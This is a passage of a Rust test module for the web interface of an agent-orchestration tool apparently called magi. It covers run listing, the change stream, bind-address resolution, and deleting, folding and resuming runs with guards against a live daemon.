6676 .with_launch(launch_knocking_on_the_way_out);
6677 let looping = ui.looping();
6678 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6679 .await
6680 .expect("bind loopback");
6681 let addr = listener.local_addr().expect("local addr");
6682 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6683 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6684
6685 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6686 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6687
6688 let bound = std::sync::Mutex::new(None);
6691 hand_over(home.path(), &looping, served, || {
6692 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6693 *bound.lock().expect("bound") = Some(attempt);
6694 Ok(())
6695 })
6696 .await
6697 .expect("hand over");
6698
6699 assert_eq!(
6700 *PARK_HEARD.lock().expect("park heard"),
6701 Some(200),
6702 "the deck must answer while the loop is parking"
6703 );
6704 let attempt = bound
6705 .lock()
6706 .expect("bound")
6707 .take()
6708 .expect("the successor was started");
6709 assert!(
6710 attempt.is_ok(),
6711 "and the address must be free by the time it is: {attempt:?}"
6712 );
6713 }
6714
6715 #[tokio::test]
6716 async fn a_newer_daemon_status_file_still_renders() {
6717 let f = Fixture::start().await;
6718 std::fs::write(
6721 f.home.path().join("daemon.json"),
6722 serde_json::json!({
6723 "schema": 2,
6724 "updated_at": Timestamp::now().to_string(),
6725 "idle": true,
6726 "surprise": { "nested": [1, 2, 3] },
6727 })
6728 .to_string(),
6729 )
6730 .expect("write daemon.json");
6731
6732 let health = f.get("/api/health").await;
6733
6734 assert_eq!(health.status, 200);
6735 assert_eq!(health.json()["daemon"]["running"], true);
6736 }
6737
6738 #[tokio::test]
6739 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6740 let f = Fixture::start().await;
6741 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6742 let broken = f.runs().join("20260902-140502-bad");
6743 std::fs::create_dir_all(&broken).expect("run dir");
6744 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6745
6746 let list = f.get("/api/runs").await;
6747 let detail = f.get("/api/runs/20260902-140502-bad").await;
6748
6749 assert_eq!(list.status, 200);
6750 let listed = list.json();
6751 let ids: Vec<&str> = listed
6752 .as_array()
6753 .expect("an array")
6754 .iter()
6755 .map(|r| r["id"].as_str().expect("an id"))
6756 .collect();
6757 assert_eq!(
6758 ids,
6759 vec!["20260902-140501-good"],
6760 "one unreadable run must not cost the operator the whole history"
6761 );
6762 assert_eq!(detail.status, 500);
6763 assert!(
6764 detail.json()["error"]
6765 .as_str()
6766 .is_some_and(|e| e.contains("run.json")),
6767 "the failure names the file to look at: {}",
6768 detail.body
6769 );
6770 let health = f.get("/api/health").await;
6774 assert_eq!(health.json()["runs_unreadable"], 1);
6775 }
6776
6777 #[tokio::test]
6778 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6779 let f = Fixture::start().await;
6780 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6781
6782 let summary = f.get("/api/runs").await.json();
6783 let row = &summary[0];
6784 assert_eq!(row["short"], "a1b2");
6785 assert_eq!(row["status"], "ready");
6786 assert_eq!(row["done"], true);
6787 assert_eq!(row["title"], "Add a web UI");
6788 assert_eq!(row["repo_name"], "magi");
6789 assert_eq!(row["judges"], 3);
6790 assert_eq!(row["winner"], Value::Null);
6791 assert_eq!(row["reviews"], 0);
6792
6793 let detail = f.get("/api/runs/a1b2").await;
6796 assert_eq!(detail.status, 200);
6797 assert_eq!(detail.json()["base_branch"], "main");
6798 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6799 }
6800
6801 #[tokio::test]
6809 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
6810 let f = Fixture::start().await;
6811
6812 let mut none_run = RunState::new(
6813 PathBuf::from("/repo/magi"),
6814 "main".to_owned(),
6815 "0123456789abcdef".to_owned(),
6816 "Add a web UI".to_owned(),
6817 Config::default(),
6818 );
6819 none_run.id = "20260902-140503-none".to_owned();
6820 none_run.status = RunStatus::Ready;
6821 none_run.merge = Some(crate::run::MergeOutcome {
6822 mode: crate::config::MergeMode::None,
6823 ok: true,
6824 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
6825 });
6826 write_state(&f.runs(), &none_run);
6827
6828 let mut pr_run = RunState::new(
6829 PathBuf::from("/repo/magi"),
6830 "main".to_owned(),
6831 "0123456789abcdef".to_owned(),
6832 "Add a web UI".to_owned(),
6833 Config::default(),
6834 );
6835 pr_run.id = "20260902-140504-prcl".to_owned();
6836 pr_run.status = RunStatus::Ready;
6837 pr_run.merge = Some(crate::run::MergeOutcome {
6838 mode: crate::config::MergeMode::Pr,
6839 ok: false,
6840 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
6841 });
6842 write_state(&f.runs(), &pr_run);
6843
6844 let summary = f.get("/api/runs").await.json();
6845 let rows: std::collections::HashMap<&str, &Value> = summary
6846 .as_array()
6847 .expect("an array")
6848 .iter()
6849 .map(|r| (r["id"].as_str().expect("an id"), r))
6850 .collect();
6851 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
6852 assert_eq!(
6853 rows[none_run.id.as_str()]["unmerged_by_design"],
6854 true,
6855 "a mode-none Ready must be flagged in the list"
6856 );
6857 assert_eq!(
6858 rows[pr_run.id.as_str()]["unmerged_by_design"],
6859 false,
6860 "a Ready reached by a closed pull request is a different case"
6861 );
6862
6863 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
6864 assert_eq!(none_detail["status"], "ready");
6865 assert_eq!(none_detail["unmerged_by_design"], true);
6866
6867 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
6868 assert_eq!(pr_detail["unmerged_by_design"], false);
6869 }
6870
6871 #[tokio::test]
6876 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6877 let f = Fixture::start().await;
6878 let id = "20260902-140502-bbbb";
6882 let mut state = RunState::new(
6883 PathBuf::from("/repo/magi"),
6884 "main".to_owned(),
6885 "0123456789abcdef".to_owned(),
6886 "Add a web UI".to_owned(),
6887 Config::default(),
6888 );
6889 state.id = id.to_owned();
6890 state.status = RunStatus::Judging;
6891 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6892 let dir = f.runs().join(id);
6893 std::fs::create_dir_all(&dir).expect("run dir");
6894 std::fs::write(
6895 dir.join("run.json"),
6896 serde_json::to_string_pretty(&state).expect("serialize run"),
6897 )
6898 .expect("write run.json");
6899
6900 let cold = f.get(&format!("/api/runs/{id}")).await.json();
6903 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6904 assert_eq!(cold["live"], false, "{cold}");
6905
6906 write_daemon(f.home.path(), Timestamp::now());
6909 let warm = f.get(&format!("/api/runs/{id}")).await.json();
6910 assert_eq!(warm["live"], true, "{warm}");
6911 }
6912
6913 #[tokio::test]
6914 async fn the_run_list_is_newest_first_and_honours_a_limit() {
6915 let f = Fixture::start().await;
6916 for id in [
6917 "20260902-140501-aaaa",
6918 "20260902-140502-bbbb",
6919 "20260902-140503-cccc",
6920 ] {
6921 write_run(&f.runs(), id, RunStatus::Merged);
6922 }
6923
6924 let all = f.get("/api/runs").await.json();
6925 let capped = f.get("/api/runs?limit=2").await.json();
6926
6927 assert_eq!(all[0]["id"], "20260902-140503-cccc");
6928 assert_eq!(all.as_array().map(Vec::len), Some(3));
6929 assert_eq!(capped.as_array().map(Vec::len), Some(2));
6930 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
6931 }
6932
6933 #[tokio::test]
6934 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
6935 let f = Fixture::start().await;
6936 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
6937
6938 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
6939
6940 assert_eq!(res.status, 200);
6941 assert!(
6942 res.headers
6943 .contains("content-type: text/plain; charset=utf-8"),
6944 "a browser must render it, not download it: {}",
6945 res.headers
6946 );
6947 assert!(
6951 res.body.contains("20260902-140501-a1b2"),
6952 "the report is about the run that was asked for: {}",
6953 res.body
6954 );
6955 }
6956
6957 #[tokio::test]
6958 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
6959 let f = Fixture::start().await;
6960
6961 let html = f.get("/").await;
6962 let css = f.get("/app.css").await;
6963 let js = f.get("/app.js").await;
6964
6965 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
6966 assert!(
6967 html.headers
6968 .contains("content-type: text/html; charset=utf-8")
6969 );
6970 assert!(css.headers.contains("content-type: text/css"));
6971 assert!(js.headers.contains("content-type: text/javascript"));
6972 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
6973 }
6974
6975 #[test]
6976 fn review_rounds_label_a_distinct_verified_head() {
6977 assert!(APP_JS.contains("round.verified_head"));
6978 assert!(APP_JS.contains("verified HEAD"));
6979 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
6980 }
6981
6982 #[tokio::test]
6983 async fn the_change_stream_announces_the_current_revisions_on_connect() {
6984 let f = Fixture::start().await;
6985
6986 let mut socket = tokio::net::TcpStream::connect(f.addr)
6987 .await
6988 .expect("connect");
6989 socket
6990 .write_all(
6991 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
6992 )
6993 .await
6994 .expect("write request");
6995
6996 let mut seen = String::new();
6999 let mut buf = [0u8; 1024];
7000 while !seen.contains("event: change") {
7001 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7002 .await
7003 .expect("the stream must speak within five seconds")
7004 .expect("read");
7005 assert!(read > 0, "the server closed the change stream: {seen}");
7006 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7007 }
7008
7009 assert!(
7010 seen.to_lowercase()
7011 .contains("content-type: text/event-stream"),
7012 "the browser only reconnects automatically for a real SSE stream: {seen}"
7013 );
7014 let data = seen
7015 .lines()
7016 .find_map(|l| l.strip_prefix("data:"))
7017 .expect("a data line");
7018 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7019 assert!(
7020 payload["queue_rev"].is_u64()
7021 && payload["runs_rev"].is_u64()
7022 && payload["questions_rev"].is_u64()
7023 && payload["talks_rev"].is_u64()
7024 && payload["loop_rev"].is_u64(),
7025 "the client needs one revision per store to know what to refetch, \
7026 and `talks_rev` is the only notification a standing talk gets - a \
7027 phone whose radio slept through a turn learns about it here, as \
7028 does one whose operator started the loop from another device: \
7029 {payload}"
7030 );
7031
7032 let health = f.get("/api/health").await.json();
7039 for key in [
7040 "queue_rev",
7041 "runs_rev",
7042 "questions_rev",
7043 "talks_rev",
7044 "loop_rev",
7045 ] {
7046 assert!(
7047 health[key].is_u64(),
7048 "health is the change stream's fallback and is missing `{key}`: {health}"
7049 );
7050 }
7051 }
7052
7053 #[tokio::test]
7054 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7055 let f = Fixture::start().await;
7056 let before = f.get("/api/health").await.json()["talks_rev"]
7057 .as_u64()
7058 .expect("talks_rev");
7059
7060 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7061 std::thread::sleep(Duration::from_millis(10));
7062 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7063 on_disk.turns.push(crate::talk::Turn {
7064 who: crate::talk::Who::Operator,
7065 body: "a new turn".to_owned(),
7066 at: Timestamp::now(),
7067 attachments: Vec::new(),
7068 });
7069 f.talks().put(&mut on_disk).expect("record a turn");
7070
7071 let after = f.get("/api/health").await.json()["talks_rev"]
7072 .as_u64()
7073 .expect("talks_rev");
7074 assert_ne!(
7075 before, after,
7076 "a phone must be able to notice a talk's reply without polling every store"
7077 );
7078 }
7079
7080 #[test]
7081 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7082 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7086 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7087 }
7088 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7089 assert!("everywhere".parse::<Bind>().is_err());
7090 }
7091
7092 #[test]
7093 fn an_explicit_bind_address_is_taken_verbatim() {
7094 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7095
7096 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7097
7098 assert_eq!(addr, asked);
7099 assert!(
7100 warning.is_none(),
7101 "an operator who named an address gets no lecture"
7102 );
7103 }
7104
7105 #[test]
7106 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7107 let (addr, warning) = resolve_bind(&Bind::Auto);
7108
7109 match addr {
7116 IpAddr::V4(ip) if is_tailnet(&ip) => {
7117 assert!(warning.is_none(), "a tailnet address needs no warning");
7118 }
7119 other => {
7120 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7121 let warning = warning.expect("a fallback has to explain itself");
7122 assert!(
7123 warning.contains("127.0.0.1") && warning.contains("local-only"),
7124 "the warning says what happened and what it costs: {warning}"
7125 );
7126 }
7127 }
7128 }
7129
7130 #[test]
7131 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7132 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7136 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7137 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7138 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7139 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7140 }
7141
7142 #[test]
7143 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7144 let ids = vec![
7145 "20260902-140501-aaaa".to_owned(),
7146 "20260902-140502-aabb".to_owned(),
7147 ];
7148
7149 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7150 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7151 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7152
7153 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7154 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7155 assert_eq!(short, "20260902-140502-aabb");
7156 }
7157 #[tokio::test]
7158 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7159 let fx = Fixture::start().await;
7165 let id = panel(
7166 &fx,
7167 "<img src=\"shot.png\">",
7168 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7169 );
7170
7171 let doc = fx
7173 .get(&format!("/api/questions/{id}/panel/index.html"))
7174 .await;
7175 assert_eq!(doc.status, 200, "{}", doc.body);
7176 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7177
7178 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7179 assert_eq!(sibling.status, 200, "{}", sibling.body);
7180 assert_eq!(sibling.header("content-type"), Some("image/png"));
7181 assert_eq!(
7182 sibling.header("content-security-policy"),
7183 Some(PANEL_CSP),
7184 "the sibling route must carry the same policy as the asset route"
7185 );
7186
7187 assert_eq!(
7190 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7191 200
7192 );
7193 }
7194
7195 #[test]
7196 fn runs_revision_moves_when_deleting_an_older_run() {
7197 let temp = TempDir::new().expect("tempdir");
7198 let runs = temp.path().join("runs");
7199 std::fs::create_dir_all(&runs).expect("create runs dir");
7200
7201 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7202
7203 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7204 std::thread::sleep(Duration::from_millis(10));
7205 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7206
7207 let rev_before = runs_revision(&runs);
7208 assert!(rev_before > 0);
7209
7210 let old_dir = runs.join("20260901-100000-old1");
7211 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7212
7213 let rev_after = runs_revision(&runs);
7214 assert_ne!(
7215 rev_before, rev_after,
7216 "deleting an older run must change the revision so other clients see the deletion"
7217 );
7218 }
7219
7220 fn write_state(runs: &FsPath, state: &RunState) {
7225 let dir = runs.join(&state.id);
7226 std::fs::create_dir_all(&dir).expect("run dir");
7227 std::fs::write(
7228 dir.join("run.json"),
7229 serde_json::to_string_pretty(state).expect("serialize run"),
7230 )
7231 .expect("write run.json");
7232 }
7233
7234 #[test]
7239 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7240 let temp = TempDir::new().expect("tempdir");
7241 let runs = temp.path().join("runs");
7242 std::fs::create_dir_all(&runs).expect("create runs dir");
7243 let mut state = RunState::new(
7244 PathBuf::from("/repo/magi"),
7245 "main".to_owned(),
7246 "0123456789abcdef".to_owned(),
7247 "task".to_owned(),
7248 Config::default(),
7249 );
7250 state.id = "20260902-100000-c0de".to_owned();
7251 write_state(&runs, &state);
7252
7253 let rev_idle = runs_revision(&runs);
7254 std::thread::sleep(Duration::from_millis(10));
7255 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7256 write_state(&runs, &state);
7257 let rev_started = runs_revision(&runs);
7258 assert_ne!(
7259 rev_idle, rev_started,
7260 "a seat starting must move the revision"
7261 );
7262
7263 std::thread::sleep(Duration::from_millis(10));
7264 state.seat_finished("judge-1");
7265 write_state(&runs, &state);
7266 let rev_finished = runs_revision(&runs);
7267 assert_ne!(
7268 rev_started, rev_finished,
7269 "and clearing it again must move the revision a second time"
7270 );
7271 }
7272
7273 #[tokio::test]
7274 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7275 let fx = Fixture::start().await;
7276 let q = fx.queue();
7277
7278 let mut t1 = Task::new(
7280 "Task 1".to_owned(),
7281 "Instruction 1".to_owned(),
7282 PathBuf::from("/repo"),
7283 Source::Human,
7284 );
7285 let run_id = "20260901-000000-r111";
7286 t1.runs.push(run_id.to_owned());
7287 write_run(&fx.runs(), run_id, RunStatus::Merged);
7288 q.put(&mut t1).expect("put t1");
7289
7290 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7292 assert_eq!(res.status, 204);
7293 assert!(res.body.is_empty(), "204 No Content has no body");
7294 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7295 assert!(
7296 fx.runs().join(run_id).exists(),
7297 "run directory must not be deleted when its task is deleted"
7298 );
7299
7300 let mut t2 = Task::new(
7302 "Task 2".to_owned(),
7303 "Instruction 2".to_owned(),
7304 PathBuf::from("/repo"),
7305 Source::Human,
7306 );
7307 t2.status = TaskStatus::Running;
7308 q.put(&mut t2).expect("put t2");
7309 let mut beat = crate::daemon::Status::new();
7310 beat.current = vec![crate::daemon::Current {
7311 task: t2.id.clone(),
7312 run: "20260901-000000-r222".to_owned(),
7313 }];
7314 beat.updated_at = jiff::Timestamp::now();
7315 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7316 .expect("publish a heartbeat");
7317 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7318 assert_eq!(res.status, 409);
7319 assert!(
7320 res.json()["error"]
7321 .as_str()
7322 .unwrap()
7323 .contains("live daemon")
7324 );
7325 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7326
7327 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7333 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7334 .expect("leave a stale heartbeat");
7335 let mut t3 = Task::new(
7336 "Task 3".to_owned(),
7337 "Instruction 3".to_owned(),
7338 PathBuf::from("/repo"),
7339 Source::Human,
7340 );
7341 t3.status = TaskStatus::Running;
7342 q.put(&mut t3).expect("put t3");
7343 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7344 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7345 assert_eq!(res.status, 204);
7346 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7347 assert!(
7348 q.claim(&t3.id).is_ok(),
7349 "the stale lock went with it, so the id is claimable again"
7350 );
7351
7352 let res = fx.delete("/api/queue/nonexistent").await;
7354 assert_eq!(res.status, 404);
7355 }
7356
7357 #[tokio::test]
7358 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7359 let fx = Fixture::start().await;
7360 let runs = fx.runs();
7361
7362 let run_id = "20260901-000000-fold";
7364 let mut state = RunState::new(
7365 PathBuf::from("/repo"),
7366 "main".to_owned(),
7367 "abc".to_owned(),
7368 "instruction".to_owned(),
7369 Config::default(),
7370 );
7371 state.id = run_id.to_owned();
7372 state.status = RunStatus::Merged;
7373 state.candidates.push(crate::run::Candidate {
7374 index: 0,
7375 label: 'A',
7376 agent: "a".to_owned(),
7377 branch: "b".to_owned(),
7378 worktree: PathBuf::from("/w"),
7379 summary: String::new(),
7380 stat: String::new(),
7381 files: 1,
7382 commits: 1,
7383 empty: false,
7384 failed: None,
7385 duration_ms: 0,
7386 folded: true,
7387 });
7388 let dir = runs.join(run_id);
7389 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7390 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7391 .expect("write artifact");
7392 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7393 .expect("write run.json");
7394
7395 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7397 assert_eq!(res.status, 204);
7398 assert!(res.body.is_empty(), "204 has no body");
7399 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7400
7401 let run_running = "20260901-000000-rung";
7406 write_run(&runs, run_running, RunStatus::Prep);
7407 let mut beat = crate::daemon::Status::new();
7408 beat.current = vec![crate::daemon::Current {
7409 task: "20260901-000000-task".to_owned(),
7410 run: run_running.to_owned(),
7411 }];
7412 beat.updated_at = jiff::Timestamp::now();
7413 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7414 .expect("publish a heartbeat");
7415 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7416 assert_eq!(res.status, 409);
7417 assert!(
7418 res.json()["error"]
7419 .as_str()
7420 .unwrap()
7421 .contains("live daemon"),
7422 "the refusal must say who is holding it"
7423 );
7424 assert!(
7425 runs.join(run_running).exists(),
7426 "a run in flight keeps its directory"
7427 );
7428
7429 let run_unfolded = "20260901-000000-unfd";
7431 let mut state2 = RunState::new(
7432 PathBuf::from("/repo"),
7433 "main".to_owned(),
7434 "abc".to_owned(),
7435 "instruction".to_owned(),
7436 Config::default(),
7437 );
7438 state2.id = run_unfolded.to_owned();
7439 state2.status = RunStatus::Ready;
7440 state2.candidates.push(crate::run::Candidate {
7441 index: 0,
7442 label: 'A',
7443 agent: "a".to_owned(),
7444 branch: "b".to_owned(),
7445 worktree: PathBuf::from("/w"),
7446 summary: String::new(),
7447 stat: String::new(),
7448 files: 1,
7449 commits: 1,
7450 empty: false,
7451 failed: None,
7452 duration_ms: 0,
7453 folded: false,
7454 });
7455 let dir2 = runs.join(run_unfolded);
7456 std::fs::create_dir_all(&dir2).expect("create dir2");
7457 std::fs::write(
7458 dir2.join("run.json"),
7459 serde_json::to_string(&state2).unwrap(),
7460 )
7461 .expect("write run.json");
7462
7463 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7464 assert_eq!(res.status, 409);
7465 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7466 assert!(dir2.exists(), "unfolded run directory is kept");
7467
7468 let res = fx.delete("/api/runs/nonexistent").await;
7470 assert_eq!(res.status, 404);
7471 }
7472
7473 #[test]
7474 fn web_ui_delete_contract_in_front_end() {
7475 assert!(APP_JS.contains("deleteRun:"));
7477 assert!(APP_JS.contains("deleteTask:"));
7478
7479 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7481 ..APP_JS.find("function renderRuns").unwrap()];
7482 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7483
7484 assert!(APP_JS.contains("renderRunDelete"));
7486 assert!(APP_JS.contains("runDeleteReason"));
7487 assert!(APP_JS.contains("magi fold"));
7488 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7489
7490 assert!(APP_JS.contains("cancel.focus"));
7492 assert!(APP_JS.contains("armedRunDelete"));
7493 assert!(APP_JS.contains("armedDelete"));
7494
7495 assert!(APP_JS.contains("disabled: status === \"running\""));
7497 }
7498
7499 #[test]
7519 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7520 let build = APP_JS
7521 .find("function createRunCard")
7522 .expect("createRunCard exists");
7523 let update = APP_JS
7524 .find("function updateRunCard")
7525 .expect("updateRunCard exists");
7526 let end = APP_JS
7527 .find("function renderRuns")
7528 .expect("renderRuns exists");
7529
7530 let builder = &APP_JS[build..update];
7532 let open = builder.find("refs = {").expect("createRunCard sets refs");
7533 let literal = &builder[open + "refs = {".len()..];
7534 let close = literal.find('}').expect("the refs literal is closed");
7535 let published: HashSet<&str> = literal[..close]
7536 .split(',')
7537 .filter_map(|entry| entry.split(':').next())
7539 .map(str::trim)
7540 .filter(|name| !name.is_empty())
7541 .collect();
7542 assert!(
7543 published.len() > 5,
7544 "the refs literal did not parse into names: {published:?}"
7545 );
7546
7547 let mut used: Vec<&str> = Vec::new();
7550 let updaters = &APP_JS[update..end];
7551 for (at, _) in updaters.match_indices("r.") {
7552 let before = updaters[..at].chars().next_back();
7555 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7556 continue;
7557 }
7558 let rest = &updaters[at + 2..];
7559 let len = rest
7560 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7561 .unwrap_or(rest.len());
7562 if len > 0 {
7563 used.push(&rest[..len]);
7564 }
7565 }
7566 assert!(
7567 used.len() > 5,
7568 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7569 );
7570
7571 let missing: Vec<&str> = used
7572 .iter()
7573 .copied()
7574 .filter(|name| !published.contains(name))
7575 .collect();
7576 assert!(
7577 missing.is_empty(),
7578 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7579 never put in `refs` - every card will throw and the list will \
7580 render empty under a count line that says otherwise. Published: \
7581 {published:?}"
7582 );
7583 }
7584
7585 #[tokio::test]
7586 async fn folding_from_the_phone_reports_what_it_removed() {
7587 let fx = Fixture::start().await;
7588 let runs = fx.runs();
7589
7590 let id = "20260901-000000-fold";
7594 write_run(&runs, id, RunStatus::Stalled);
7595 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7596 assert_eq!(res.status, 200);
7597 assert_eq!(res.json()["removed_count"], 0);
7598 assert_eq!(res.json()["run"], id);
7599 assert!(
7600 runs.join(id).exists(),
7601 "a fold keeps the run's record; only the worktrees go"
7602 );
7603 }
7604
7605 #[tokio::test]
7606 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7607 let fx = Fixture::start().await;
7608 let runs = fx.runs();
7609 let wt = fx.home.path().join("wt").join("magi").join("dead");
7610 let id = "20260901-000000-dead";
7611 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7612 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7613 std::fs::create_dir_all(&wt).expect("worktree dir");
7614
7615 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7616 assert_eq!(res.status, 200, "{}", res.body);
7617 assert!(
7618 res.json()["removed_count"].as_u64().unwrap() > 0,
7619 "the worktree this build could not read a state for still went"
7620 );
7621 assert!(
7622 !runs.join(id).exists(),
7623 "an unreadable run has no candidate list to fold selectively, so \
7624 the whole record goes - same as `magi fold` on the CLI"
7625 );
7626 }
7627
7628 #[tokio::test]
7629 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7630 let fx = Fixture::start().await;
7631 let runs = fx.runs();
7632 let wt = fx.home.path().join("wt").join("magi").join("gone");
7633 let id = "20260901-000000-gone";
7634 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7635 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7636 std::fs::create_dir_all(&wt).expect("worktree dir");
7637
7638 let res = fx.delete(&format!("/api/runs/{id}")).await;
7639 assert_eq!(res.status, 204, "{}", res.body);
7640 assert!(!runs.join(id).exists(), "the broken record is gone");
7641 assert!(!wt.exists(), "its worktree is gone too");
7642 }
7643
7644 #[tokio::test]
7645 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7646 let fx = Fixture::start().await;
7647 let runs = fx.runs();
7648 let id = "20260901-000000-live";
7649 write_run(&runs, id, RunStatus::Implementing);
7650
7651 let mut beat = crate::daemon::Status::new();
7652 beat.current = vec![crate::daemon::Current {
7653 task: "20260901-000000-task".to_owned(),
7654 run: id.to_owned(),
7655 }];
7656 beat.updated_at = jiff::Timestamp::now();
7657 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7658 .expect("publish a heartbeat");
7659
7660 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7661 assert_eq!(res.status, 409);
7662 assert!(
7663 res.json()["error"]
7664 .as_str()
7665 .unwrap()
7666 .contains("live daemon"),
7667 "folding under a running agent would pull its worktree away"
7668 );
7669 }
7670
7671 #[tokio::test]
7672 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7673 let fx = Fixture::start().await;
7674 let runs = fx.runs();
7675
7676 for (status, word) in [
7682 (RunStatus::Merged, "merged"),
7683 (RunStatus::Ready, "ready"),
7684 (RunStatus::Failed, "failed"),
7685 ] {
7686 let id = format!("20260901-000000-{}", &word[..4]);
7687 write_run(&runs, &id, status);
7688 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7689 assert_eq!(res.status, 409, "{word} must not be resumable");
7690 let err = res.json()["error"].as_str().unwrap().to_owned();
